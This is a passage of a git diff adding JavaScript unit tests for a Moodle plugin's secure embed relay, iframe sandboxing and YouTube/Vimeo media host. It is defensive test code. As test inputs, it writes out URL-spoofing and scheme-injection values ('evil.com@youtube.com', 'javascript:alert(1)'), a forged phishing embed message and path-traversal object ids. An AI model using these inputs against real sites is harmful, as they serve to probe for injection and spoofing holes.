embedRelay.validate('https://www.youtube.com/embed/abc123', 'http://x/content/1/index.html'); + expect(ok).toEqual({ url: 'https://www.youtube.com/embed/abc123', kind: 'video' }); + }); + + it('the embed relay does not act on a SCORM track message (no overlay created)', () => { + const r = embedRelay.createRelay({ whitelist: ['www.youtube.com'] }); + const before = document.querySelectorAll('.exe-embed-overlay').length; + r.onMessage({ source: {}, data: { type: 'scorm', action: 'track', cmi: {}, exelearningBridge: 'N1' } }); + expect(document.querySelectorAll('.exe-embed-overlay').length).toBe(before); + }); +}); diff --git a/tests/js/exe_embed.test.js b/tests/js/exe_embed.test.js new file mode 100644 index 0000000..713b636 --- /dev/null +++ b/tests/js/exe_embed.test.js @@ -0,0 +1,474 @@ +// This file is part of Moodle - http://moodle.org/ +// +// Moodle is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// Moodle is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with Moodle. If not, see . + +// Unit tests for the secure-mode external-embed shim + relay (DEC-80-03). The shim +// (in-iframe) promotes any cross-origin https / .pdf iframe; the relay (parent) is the +// authoritative gate: in 'open' mode the structural invariant (https + cross-origin to +// the LMS), in 'strict' mode the maintained host allowlist. Side-effect imports expose +// the API on window.* (and module.exports); globals come from vitest.config.mjs. +import '../../js/exe_embed_shim.js'; +import '../../js/exe_embed_relay.js'; + +const shim = window.exeEmbedShim; +const relay = window.exeEmbedRelay; + +const HOSTS = [ + 'www.youtube.com', 'youtube.com', 'www.youtube-nocookie.com', + 'youtube-nocookie.com', 'player.vimeo.com', 'vimeo.com', + 'www.dailymotion.com', 'dailymotion.com', 'geo.dailymotion.com', + 'mediateca.educa.madrid.org', +]; +const STRICT = { strict: true, whitelist: relay.buildWhitelist(HOSTS) }; +const ORIGIN = window.location.origin; // happy-dom default (the "LMS" origin here). +const CONTENT_SRC = ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/index.html'; + +describe('exe_embed_relay validate() — open mode (default): structural invariant', () => { + it('accepts any cross-origin https video iframe verbatim (no host list, no reconstruction)', () => { + expect(relay.validate('https://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC)) + .toEqual({ url: 'https://www.youtube.com/embed/aqz-KE-bpKQ', kind: 'video' }); + expect(relay.validate('https://some-new-provider.example/player/42', CONTENT_SRC)) + .toEqual({ url: 'https://some-new-provider.example/player/42', kind: 'video' }); + }); + + it('rejects same-origin (the LMS itself)', () => { + expect(relay.validate(ORIGIN + '/course/view.php?id=2', CONTENT_SRC)).toBeNull(); + }); + + it('rejects non-https', () => { + expect(relay.validate('http://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC)).toBeNull(); + }); + + it('rejects userinfo (https://evil.com@youtube.com/...)', () => { + expect(relay.validate('https://evil.com@www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC)).toBeNull(); + }); + + it('rejects IP-literal and loopback/local hosts', () => { + expect(relay.validate('https://1.2.3.4/player', CONTENT_SRC)).toBeNull(); + expect(relay.validate('https://[2001:db8::1]/player', CONTENT_SRC)).toBeNull(); + expect(relay.validate('https://localhost/player', CONTENT_SRC)).toBeNull(); + expect(relay.validate('https://intranet.local/player', CONTENT_SRC)).toBeNull(); + }); + + it('rejects non-http(s) schemes (data:/javascript:/blob:)', () => { + expect(relay.validate('data:text/html,

x

', CONTENT_SRC)).toBeNull(); + expect(relay.validate('javascript:alert(1)', CONTENT_SRC)).toBeNull(); + expect(relay.validate('blob:https://x.test/uuid', CONTENT_SRC)).toBeNull(); + }); + + it('rejects a relative URL (the shim must report absolute)', () => { + expect(relay.validate('files/local.pdf', CONTENT_SRC)).toBeNull(); + expect(relay.validate('/admin/secret', CONTENT_SRC)).toBeNull(); + }); +}); + +describe('exe_embed_relay validate() — PDFs (always allowed by structure)', () => { + it('accepts any cross-origin https PDF (no sameorigin flag)', () => { + expect(relay.validate('https://example.com/docs/report.pdf', CONTENT_SRC)) + .toEqual({ url: 'https://example.com/docs/report.pdf', kind: 'pdf' }); + }); + + it('accepts a same-origin PDF under the content directory (flagged sameorigin)', () => { + const pdf = ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/files/local.pdf'; + expect(relay.validate(pdf, CONTENT_SRC)).toEqual({ url: pdf, kind: 'pdf', sameorigin: true }); + }); + + it('rejects a same-origin PDF outside the package (e.g. an admin route)', () => { + expect(relay.validate(ORIGIN + '/admin/secret.pdf', CONTENT_SRC)).toBeNull(); + }); + + it('rejects an http PDF', () => { + expect(relay.validate('http://example.com/x.pdf', CONTENT_SRC)).toBeNull(); + }); +}); + +describe('exe_embed_relay validate() — strict mode (opt-in allowlist)', () => { + it('rebuilds the canonical youtube-nocookie URL from a youtube.com embed', () => { + expect(relay.validate('https://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC, STRICT)) + .toEqual({ url: 'https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ', kind: 'video' }); + }); + + it('rebuilds the canonical Vimeo / Dailymotion / EducaMadrid URLs', () => { + expect(relay.validate('https://player.vimeo.com/video/76979871', CONTENT_SRC, STRICT).url) + .toBe('https://player.vimeo.com/video/76979871'); + expect(relay.validate('https://www.dailymotion.com/embed/video/x8abc12', CONTENT_SRC, STRICT).url) + .toBe('https://www.dailymotion.com/embed/video/x8abc12'); + expect(relay.validate('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh', CONTENT_SRC, STRICT).url) + .toBe('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs'); + }); + + it('rejects a non-whitelisted cross-origin https host (unlike open mode)', () => { + expect(relay.validate('https://some-new-provider.example/player/42', CONTENT_SRC, STRICT)).toBeNull(); + expect(relay.validate('https://example.com/', CONTENT_SRC, STRICT)).toBeNull(); + }); + + it('rejects look-alike hosts and malformed ids', () => { + expect(relay.validate('https://www.youtube.com.evil.com/embed/aqz-KE-bpKQ', CONTENT_SRC, STRICT)).toBeNull(); + expect(relay.validate('https://www.youtube.com/embed/', CONTENT_SRC, STRICT)).toBeNull(); + expect(relay.validate('https://player.vimeo.com/video/not-a-number', CONTENT_SRC, STRICT)).toBeNull(); + }); + + it('still accepts cross-origin PDFs in strict mode', () => { + expect(relay.validate('https://example.com/x.pdf', CONTENT_SRC, STRICT)) + .toEqual({ url: 'https://example.com/x.pdf', kind: 'pdf' }); + }); +}); + +describe('exe_embed_relay structural helpers', () => { + it('isIpOrLocalHost flags IP literals and loopback/local names', () => { + ['1.2.3.4', '255.0.0.1', '[::1]', '[2001:db8::1]', 'localhost', 'x.localhost', 'host.local', ''].forEach( + (h) => expect(relay.isIpOrLocalHost(h)).toBe(true) + ); + ['youtube.com', 'player.vimeo.com', 'example.org'].forEach( + (h) => expect(relay.isIpOrLocalHost(h)).toBe(false) + ); + }); + + it('isRelatedToLms flags the LMS host, its subdomains and superdomains (dotted boundary)', () => { + expect(relay.isRelatedToLms('lms.example.org', 'lms.example.org')).toBe(true); // equal + expect(relay.isRelatedToLms('cdn.lms.example.org', 'lms.example.org')).toBe(true); // subdomain + expect(relay.isRelatedToLms('example.org', 'lms.example.org')).toBe(true); // superdomain + expect(relay.isRelatedToLms('evil-lms.example.org', 'lms.example.org')).toBe(false); // look-alike + expect(relay.isRelatedToLms('youtube.com', 'lms.example.org')).toBe(false); + }); + + it('isRelatedToLms normalises the trailing-dot FQDN-root form (no host. bypass)', () => { + // 'lms.example.org.' resolves to the same vhost but compares unequal as a raw + // string; without normalisation it would slip past the related-to-LMS gate and + // be promoted as a cross-origin player with allow-same-origin. + expect(relay.isRelatedToLms('lms.example.org.', 'lms.example.org')).toBe(true); // dotted host + expect(relay.isRelatedToLms('lms.example.org', 'lms.example.org.')).toBe(true); // dotted lmsHost + expect(relay.isRelatedToLms('cdn.lms.example.org.', 'lms.example.org')).toBe(true); // dotted subdomain + expect(relay.normalizeHost('LMS.Example.ORG.')).toBe('lms.example.org'); + }); +}); + +describe('exe_embed_shim promotion decisions', () => { + it('isPdfUrl detects .pdf paths (ignoring the query)', () => { + expect(shim.isPdfUrl('https://x.test/a/b.pdf')).toBe(true); + expect(shim.isPdfUrl('https://x.test/a/b.pdf?download=1')).toBe(true); + expect(shim.isPdfUrl('https://x.test/a/b.html')).toBe(false); + }); + + it('isPromotable: any cross-origin https or .pdf yes; same-origin / http no', () => { + expect(shim.isPromotable('https://www.youtube.com/embed/x12345')).toBe(true); + expect(shim.isPromotable('https://anything.example/player')).toBe(true); + expect(shim.isPromotable('https://files.test/manual.pdf')).toBe(true); + expect(shim.isPromotable('files/local.pdf')).toBe(true); // relative .pdf + expect(shim.isPromotable(ORIGIN + '/course/view.php')).toBe(false); // same-origin, not pdf + expect(shim.isPromotable('http://www.youtube.com/embed/x')).toBe(false); // not https + }); + + it('promote() replaces cross-origin/PDF iframes and leaves same-origin ones', () => { + // Scan a DETACHED container so happy-dom never navigates the iframe srcs. + const root = document.createElement('div'); + root.innerHTML = + '' + + '' + + ''; + + const created = shim.promote(root, { n: 0 }); + + expect(created.length).toBe(2); + expect(root.querySelector('#same')).not.toBeNull(); // same-origin survives + expect(root.querySelector('#yt')).toBeNull(); + expect(root.querySelector('#pdf')).toBeNull(); + + const ph = created[0]; + expect(ph.getAttribute('data-exe-embed-id')).toBe('exe-embed-1'); + expect(ph.getAttribute('data-exe-embed-url')).toContain('youtube.com'); + expect(ph.style.width).toBe('560px'); + expect(ph.style.height).toBe('315px'); + }); + + it('reports a RELATIVE src as an absolute URL (the parent relay cannot resolve relatives)', () => { + const root = document.createElement('div'); + root.innerHTML = ''; + + const created = shim.promote(root, { n: 0 }); + + expect(created.length).toBe(1); + const reported = created[0].getAttribute('data-exe-embed-url'); + expect(reported).toMatch(/^https?:\/\//); + expect(reported).toMatch(/files\/local-sample\.pdf$/); + }); +}); + +describe('exe_embed_relay makePlayer() — sandboxed players', () => { + it('video player is sandboxed with allow-same-origin but NOT top-navigation/modals', () => { + const frame = relay.makePlayer({ url: 'https://www.youtube.com/embed/abc123', kind: 'video' }); + const sb = frame.getAttribute('sandbox'); + expect(sb).toContain('allow-scripts'); + expect(sb).toContain('allow-same-origin'); // cross-origin src keeps its own origin; renders. + expect(sb).not.toContain('allow-top-navigation'); + expect(sb).not.toContain('allow-modals'); + expect(frame.getAttribute('data-exe-embed-player')).toBe('1'); // excluded from message auth + expect(frame.getAttribute('allow')).toContain('autoplay'); + expect(frame.getAttribute('referrerpolicy')).toBe('strict-origin-when-cross-origin'); + }); + + it('cross-origin PDF player is sandboxed WITHOUT top-navigation/scripts (cannot redirect the tab)', () => { + // A server can serve scripted HTML at a .pdf path; the sandbox stops it top-navigating + // the Moodle tab. allow-same-origin keeps the provider origin (SOP-isolated). + const frame = relay.makePlayer({ url: 'https://files.test/manual.pdf', kind: 'pdf' }); + const sb = frame.getAttribute('sandbox'); + expect(sb).not.toBeNull(); + expect(sb).toContain('allow-same-origin'); + expect(sb).not.toContain('allow-top-navigation'); + expect(sb).not.toContain('allow-scripts'); + expect(frame.getAttribute('referrerpolicy')).toBe('no-referrer'); + }); + + it('same-origin package PDF is left unsandboxed (served application/pdf, the viewer needs it)', () => { + const frame = relay.makePlayer({ url: ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/files/local.pdf', kind: 'pdf', sameorigin: true }); + expect(frame.hasAttribute('sandbox')).toBe(false); + expect(frame.getAttribute('referrerpolicy')).toBe('no-referrer'); + }); +}); + +describe('exe_embed_relay createRelay() overlays players from messages', () => { + let iframe; + beforeEach(() => { + document.body.innerHTML = ''; + iframe = document.createElement('iframe'); + document.body.appendChild(iframe); + }); + + it('creates an inline overlay player for a valid embed and removes it when no longer reported', () => { + const r = relay.createRelay({ mode: 'open' }); + r.onMessage({ + source: iframe.contentWindow, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }], + }, + }); + const players = document.querySelectorAll('.exe-embed-overlay iframe'); + expect(players.length).toBe(1); + expect(players[0].src).toMatch(/www\.youtube\.com\/embed\/abc123$/); // verbatim in open mode + + r.onMessage({ source: iframe.contentWindow, data: { type: 'exe-embed', action: 'sync', embeds: [] } }); + expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0); + }); + + it('replaces the player when a reused embed id navigates to a different URL (no lingering video)', () => { + const r = relay.createRelay({ mode: 'open' }); + r.onMessage({ + source: iframe.contentWindow, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'exe-embed-1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }], + }, + }); + expect(document.querySelector('.exe-embed-overlay iframe').src).toMatch(/www\.youtube\.com\/embed\/abc123$/); + + r.onMessage({ + source: iframe.contentWindow, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'exe-embed-1', url: 'https://player.vimeo.com/video/12345', x: 0, y: 0, w: 425, h: 350 }], + }, + }); + const players = document.querySelectorAll('.exe-embed-overlay iframe'); + expect(players.length).toBe(1); + expect(players[0].src).toMatch(/player\.vimeo\.com\/video\/12345$/); + expect(players[0].src).not.toMatch(/youtube/); + }); + + it('checkDrift() re-pins an overlay whose content iframe moved without any event', () => { + const r = relay.createRelay({ mode: 'open' }); + r.onMessage({ + source: iframe.contentWindow, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }], + }, + }); + const overlay = document.querySelector('.exe-embed-overlay'); + // Nothing moved yet: the drift check must be a no-op. + expect(r.checkDrift()).toBe(0); + // The host toggles a sidebar: the iframe box shifts with no scroll/resize. + iframe.getBoundingClientRect = () => ({ left: 120, top: 30, width: 500, height: 320, right: 620, bottom: 350 }); + expect(r.checkDrift()).toBe(1); + expect(overlay.style.left).toBe('120px'); + expect(overlay.style.top).toBe('30px'); + expect(overlay.style.width).toBe('500px'); + // Settled: a second pass changes nothing. + expect(r.checkDrift()).toBe(0); + }); + + it('dispose() tears down overlays like clear() and can be called before init()', () => { + const r = relay.createRelay({ mode: 'open' }); + r.onMessage({ + source: iframe.contentWindow, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }], + }, + }); + expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(1); + + r.dispose(); + expect(document.querySelectorAll('.exe-embed-overlay').length).toBe(0); + // Idempotent: a second dispose() (or one before init) must not throw. + expect(() => r.dispose()).not.toThrow(); + }); + + it('never treats a promoted player as a content source (forged-message defence)', () => { + const r = relay.createRelay({ mode: 'open' }); + // A sandboxed player with allow-same-origin must not be able to impersonate the + // content iframe and inject embeds: tag an iframe like a player and verify a + // message from it is ignored. + const player = document.createElement('iframe'); + player.setAttribute('data-exe-embed-player', '1'); + document.body.appendChild(player); + r.onMessage({ + source: player.contentWindow, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'x', url: 'https://evil.example/phish', x: 0, y: 0, w: 100, h: 100 }], + }, + }); + expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0); + }); + + it('ignores a message whose source is not a known content iframe', () => { + const r = relay.createRelay({ mode: 'open' }); + r.onMessage({ + source: {}, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'x', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 1, h: 1 }], + }, + }); + expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0); + }); + + it('ignores non-embed messages', () => { + const r = relay.createRelay({ mode: 'open' }); + r.onMessage({ source: iframe.contentWindow, data: { type: 'scorm', action: 'track', cmi: {} } }); + expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0); + }); +}); + +describe('exe_embed_shim collect() geometry report', () => { + it('reports id + (absolute) url + numeric geometry for each placeholder', () => { + const root = document.createElement('div'); + root.innerHTML = + ''; + shim.promote(root, { n: 0 }); + + const embeds = shim.collect(root); + expect(embeds.length).toBe(1); + expect(embeds[0].id).toMatch(/^exe-embed-/); + expect(embeds[0].url).toContain('youtube.com'); + ['x', 'y', 'w', 'h'].forEach((k) => expect(typeof embeds[0][k]).toBe('number')); + }); +}); + +// DEC-80-07 option 1: id-only provider channel. For recognized providers the shim sends +// {provider, objectId} (not the author URL) and the parent reconstructs the canonical URL +// from a fixed template after re-checking the object id against a strict regex, so a +// malicious id cannot inject a path/query and escape the canonical embed path. The +// structural invariant (validate) still runs on the reconstructed URL. +describe('exe_embed_shim extractProvider() — recognized providers only', () => { + it('extracts {provider, objectId} for youtube/vimeo/dailymotion/educamadrid', () => { + expect(shim.extractProvider('https://www.youtube.com/embed/aqz-KE-bpKQ')) + .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' }); + expect(shim.extractProvider('https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ')) + .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' }); + expect(shim.extractProvider('https://youtu.be/aqz-KE-bpKQ')) + .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' }); + expect(shim.extractProvider('https://player.vimeo.com/video/76979871')) + .toEqual({ provider: 'vimeo', objectId: '76979871' }); + expect(shim.extractProvider('https://www.dailymotion.com/embed/video/x8abc12')) + .toEqual({ provider: 'dailymotion', objectId: 'x8abc12' }); + expect(shim.extractProvider('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs')) + .toEqual({ provider: 'mediateca-madrid', objectId: 'u555bvi3bk5wsabh' }); + }); + + it('returns null for unknown hosts and malformed paths (falls back to URL mode)', () => { + expect(shim.extractProvider('https://some-new-provider.example/player/42')).toBeNull(); + expect(shim.extractProvider('https://www.youtube.com/watch?v=aqz-KE-bpKQ')).toBeNull(); // not /embed/ + expect(shim.extractProvider('https://player.vimeo.com/video/not-a-number')).toBeNull(); + expect(shim.extractProvider('files/local.pdf')).toBeNull(); + }); + + it('promote() stamps provider + objectId and collect() reports them (no raw author URL needed downstream)', () => { + const root = document.createElement('div'); + root.innerHTML = + ''; + shim.promote(root, { n: 0 }); + const e = shim.collect(root)[0]; + expect(e.provider).toBe('youtube'); + expect(e.objectId).toBe('aqz-KE-bpKQ'); + }); +}); + +describe('exe_embed_relay reconstructProvider() — canonical URL from id, strict id regex', () => { + it('builds the canonical URL for each provider', () => { + expect(relay.reconstructProvider('youtube', 'aqz-KE-bpKQ')) + .toBe('https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ'); + expect(relay.reconstructProvider('vimeo', '76979871')) + .toBe('https://player.vimeo.com/video/76979871'); + expect(relay.reconstructProvider('dailymotion', 'x8abc12')) + .toBe('https://www.dailymotion.com/embed/video/x8abc12'); + expect(relay.reconstructProvider('mediateca-madrid', 'u555bvi3bk5wsabh')) + .toBe('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs'); + }); + + it('rejects an objectId that tries to escape the canonical path (traversal/slash/query/space)', () => { + ['../../evil', 'abc/def', 'abc?x=1', 'abc#frag', 'abc def', 'a b/c', '..', '', 'a@b'].forEach((bad) => { + expect(relay.reconstructProvider('youtube', bad)).toBeNull(); + }); + expect(relay.reconstructProvider('vimeo', 'not-a-number')).toBeNull(); + expect(relay.reconstructProvider('unknown-provider', 'abc123')).toBeNull(); + expect(relay.reconstructProvider('youtube', 42)).toBeNull(); // non-string + }); +}); + +describe('exe_embed_relay createRelay() — id-only embeds', () => { + let iframe; + beforeEach(() => { + document.body.innerHTML = ''; + iframe = document.createElement('iframe'); + document.body.appendChild(iframe); + }); + + it('overlays the reconstructed canonical player from an id-only embed (no url field)', () => { + const r = relay.createRelay({ mode: 'open' }); + r.onMessage({ + source: iframe.contentWindow, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'e1', provider: 'youtube', objectId: 'aqz-KE-bpKQ', x: 0, y: 0, w: 480, h: 270 }], + }, + }); + const players = document.querySelectorAll('.exe-embed-overlay iframe'); + expect(players.length).toBe(1); + expect(players[0].src).toMatch(/www\.youtube-nocookie\.com\/embed\/aqz-KE-bpKQ$/); + }); + + it('drops an id-only embed whose objectId tries to escape the canonical path', () => { + const r = relay.createRelay({ mode: 'open' }); + r.onMessage({ + source: iframe.contentWindow, + data: { + type: 'exe-embed', action: 'sync', + embeds: [{ id: 'e1', provider: 'youtube', objectId: 'x/../../admin', x: 0, y: 0, w: 1, h: 1 }], + }, + }); + expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0); + }); +}); diff --git a/tests/js/exe_media_host.test.js b/tests/js/exe_media_host.test.js new file mode 100644 index 0000000..7e12860 --- /dev/null +++ b/tests/js/exe_media_host.test.js @@ -0,0 +1,233 @@ +// This file is part of Moodle - http://moodle.org/ +// +// Moodle is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// Moodle is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with Moodle. If not, see . + +// Unit tests for mod_exelearning's parent-side media host (DEC-80-07). The host is vendored +// from eXeLearning's exe-media-host.js but drives the promoted YouTube/Vimeo player by RAW +// postMessage (no YouTube IFrame API / Vimeo SDK on the Moodle page). These tests cover the +// new, provider-protocol-critical pieces: the command builders, the inbound-event parsers, +// and the adapter wiring (event → cached time/duration → callbacks). The handshake / modal / +// command relay are unchanged from upstream (proven by eXeLearning's own suite). +import { vi } from 'vitest'; +import '../../js/exe_media_policy.js'; +import '../../js/exe_media_host.js'; + +const host = window.exeMediaHost; + +describe('exe_media_host — raw command builders (no SDK)', () => { + it('ytCommand builds the documented YouTube postMessage commands', () => { + expect(host._ytCommand('play')).toEqual({ event: 'command', func: 'playVideo', args: [] }); + expect(host._ytCommand('pause')).toEqual({ event: 'command', func: 'pauseVideo', args: [] }); + expect(host._ytCommand('seek', 42.5)).toEqual({ event: 'command', func: 'seekTo', args: [42.5, true] }); + expect(host._ytCommand('listen')).toEqual({ event: 'listening' }); + expect(host._ytCommand('bogus')).toBeNull(); + expect(host._ytCommand('seek')).toEqual({ event: 'command', func: 'seekTo', args: [0, true] }); // no value → 0 + }); + + it('vimeoCommand builds the documented Vimeo postMessage commands', () => { + expect(host._vimeoCommand('play')).toEqual({ method: 'play' }); + expect(host._vimeoCommand('pause')).toEqual({ method: 'pause' }); + expect(host._vimeoCommand('seek', 12)).toEqual({ method: 'setCurrentTime', value: 12 }); + expect(host._vimeoCommand('bogus')).toBeNull(); + }); +}); + +describe('exe_media_host — YouTube event parser (JSON strings)', () => { + it('parses onReady / infoDelivery / onStateChange / onError', () => { + expect(host._parseYtEvent(JSON.stringify({ event: 'onReady', id: 1, channel: 'widget' }))).toEqual({ kind: 'ready' }); + expect(host._parseYtEvent(JSON.stringify({ event: 'infoDelivery', info: { currentTime: 12.3, duration: 100, playerState: 1 } }))) + .toEqual({ kind: 'info', currentTime: 12.3, duration: 100, playerState: 1 }); + expect(host._parseYtEvent(JSON.stringify({ event: 'onStateChange', info: 0 }))) + .toEqual({ kind: 'state', playerState: 0 }); + expect(host._parseYtEvent(JSON.stringify({ event: 'onError', info: 150 }))) + .toEqual({ kind: 'error', code: '150' }); + }); + + it('rejects non-JSON, unknown events and missing fields', () => { + expect(host._parseYtEvent('not json')).toBeNull(); + expect(host._parseYtEvent(JSON.stringify({ event: 'somethingElse' }))).toBeNull(); + expect(host._parseYtEvent(JSON.stringify({ noEvent: true }))).toBeNull(); + expect(host._parseYtEvent(null)).toBeNull(); + }); +}); + +describe('exe_media_host — Vimeo event parser (JSON strings)', () => { + it('parses ready / timeupdate / play / pause / ended / finish / error', () => { + expect(host._parseVimeoEvent(JSON.stringify({ event: 'ready', player_id: 'p' }))).toEqual({ kind: 'ready' }); + expect(host._parseVimeoEvent(JSON.stringify({ event: 'timeupdate', data: { seconds: 5, duration: 50, percent: 0.1 } }))) + .toEqual({ kind: 'timeupdate', currentTime: 5, duration: 50 }); + expect(host._parseVimeoEvent(JSON.stringify({ event: 'play' }))).toEqual({ kind: 'play' }); + expect(host._parseVimeoEvent(JSON.stringify({ event: 'pause' }))).toEqual({ kind: 'pause' }); + expect(host._parseVimeoEvent(JSON.stringify({ event: 'ended' }))).toEqual({ kind: 'ended' }); + expect(host._parseVimeoEvent(JSON.stringify({ event: 'finish' }))).toEqual({ kind: 'ended' }); + expect(host._parseVimeoEvent(JSON.stringify({ event: 'error' }))).toEqual({ kind: 'error', code: 'vimeo_error' }); + expect(host._parseVimeoEvent('garbage')).toBeNull(); + }); +}); + +describe('exe_media_host — youtubeRawAdapter wiring (no SDK loaded)', () => { + let container; + beforeEach(() => { + document.body.innerHTML = ''; + container = document.createElement('div'); + document.body.appendChild(container); + }); + + it('creates a controllable youtube-nocookie iframe (enablejsapi=1 + origin, referrerpolicy)', () => { + host._youtubeAdapter(container, 'dQw4w9WgXcQ', {}); + const frame = container.querySelector('iframe'); + expect(frame).not.toBeNull(); + const src = frame.getAttribute('src'); + expect(src).toMatch(/^https:\/\/www\.youtube-nocookie\.com\/embed\/dQw4w9WgXcQ\?/); + expect(src).toContain('enablejsapi=1'); + expect(src).toContain('origin='); + expect(frame.getAttribute('referrerpolicy')).toBe('strict-origin-when-cross-origin'); + // No global YT/Vimeo SDK is referenced by the host (raw postMessage only). + expect(window.YT).toBeUndefined(); + expect(window.Vimeo).toBeUndefined(); + }); + + it('updates cached time/duration and signals play/ended from the player events', () => { + const cb = { onPlay: vi.fn(), onPause: vi.fn(), onEnded: vi.fn(), onReady: vi.fn() }; + const adapter = host._youtubeAdapter(container, 'dQw4w9WgXcQ', cb); + const frame = container.querySelector('iframe'); + + window.dispatchEvent(new MessageEvent('message', { + source: frame.contentWindow, + data: JSON.stringify({ event: 'infoDelivery', info: { currentTime: 9.5, duration: 120, playerState: 1 } }), + })); + expect(adapter.getCurrentTime()).toBe(9.5); + expect(adapter.getDuration()).toBe(120); + expect(cb.onPlay).toHaveBeenCalled(); + + window.dispatchEvent(new MessageEvent('message', { + source: frame.contentWindow, + data: JSON.stringify({ event: 'onStateChange', info: 0 }), + })); + expect(cb.onEnded).toHaveBeenCalled(); + }); + + it('ignores messages whose source is not its own player iframe', () => { + const cb = { onPlay: vi.fn() }; + const adapter = host._youtubeAdapter(container, 'abc12345678', cb); + const other = document.createElement('iframe'); + document.body.appendChild(other); + window.dispatchEvent(new MessageEvent('message', { + source: other.contentWindow, + data: JSON.stringify({ event: 'infoDelivery', info: { currentTime: 5, duration: 10, playerState: 1 } }), + })); + expect(cb.onPlay).not.toHaveBeenCalled(); + expect(adapter.getCurrentTime()).toBe(0); + }); + + it('destroy() removes the iframe and stops listening', () => { + const cb = { onPlay: vi.fn() }; + const adapter = host._youtubeAdapter(container, 'abc12345678', cb); + const frame = container.querySelector('iframe'); + adapter.destroy(); + expect(container.querySelector('iframe')).toBeNull(); + window.dispatchEvent(new MessageEvent('message', { + source: frame.contentWindow, + data: JSON.stringify({ event: 'onStateChange', info: 1 }), + })); + expect(cb.onPlay).not.toHaveBeenCalled(); + }); +}); + +describe('exe_media_host — vimeoRawAdapter wiring (no SDK loaded)', () => { + let container; + beforeEach(() => { + document.body.innerHTML = ''; + container = document.createElement('div'); + document.body.appendChild(container); + }); + + it('creates a player.vimeo.com iframe (api=1 + player_id)', () => { + host._vimeoAdapter(container, '76979871', {}); + const frame = container.querySelector('iframe'); + expect(frame.getAttribute('src')).toMatch(/^https:\/\/player\.vimeo\.com\/video\/76979871\?/); + expect(frame.getAttribute('src')).toContain('api=1'); + }); + + it('caches time/duration from timeupdate and fires play/ended', () => { + const cb = { onPlay: vi.fn(), onEnded: vi.fn() }; + const adapter = host._vimeoAdapter(container, '76979871', cb); + const frame = container.querySelector('iframe'); + window.dispatchEvent(new MessageEvent('message', { + source: frame.contentWindow, + data: JSON.stringify({ event: 'timeupdate', data: { seconds: 7.2, duration: 200, percent: 0.03 } }), + })); + expect(adapter.getCurrentTime()).toBe(7.2); + expect(adapter.getDuration()).toBe(200); + window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: JSON.stringify({ event: 'play' }) })); + expect(cb.onPlay).toHaveBeenCalled(); + window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: JSON.stringify({ event: 'ended' }) })); + expect(cb.onEnded).toHaveBeenCalled(); + }); +}); + +describe('exe_media_host openMedia() — single active media (audit L-2)', () => { + const TYPE = 'exe-media'; + const V = 1; + + function makeWin() { + const handlers = []; + return { + addEventListener(t, cb) { if (t === 'message') handlers.push(cb); }, + removeEventListener(t, cb) { const i = handlers.indexOf(cb); if (i >= 0) handlers.splice(i, 1); }, + _emit(evt) { handlers.slice().forEach((h) => h(evt)); }, + }; + } + function makeIframe() { + return { contentWindow: { postMessage() {} } }; + } + function makeFakeChannel() { + const port1 = { onmessage: null, start() {}, close() {} }; + const port2 = { onmessage: null, start() {}, close() {} }; + port1.postMessage = (m) => { if (port2.onmessage) port2.onmessage({ data: m }); }; + port2.postMessage = (m) => { if (port1.onmessage) port1.onmessage({ data: m }); }; + return { port1, port2 }; + } + + afterEach(() => { + document.querySelectorAll('dialog.exe-media-modal').forEach((d) => d.remove()); + if (host._resetForTests) host._resetForTests(); + }); + + it('on a second open, tears down the previous adapter and modal (no stacking/leak)', () => { + const win = makeWin(); + const iframe = makeIframe(); + const 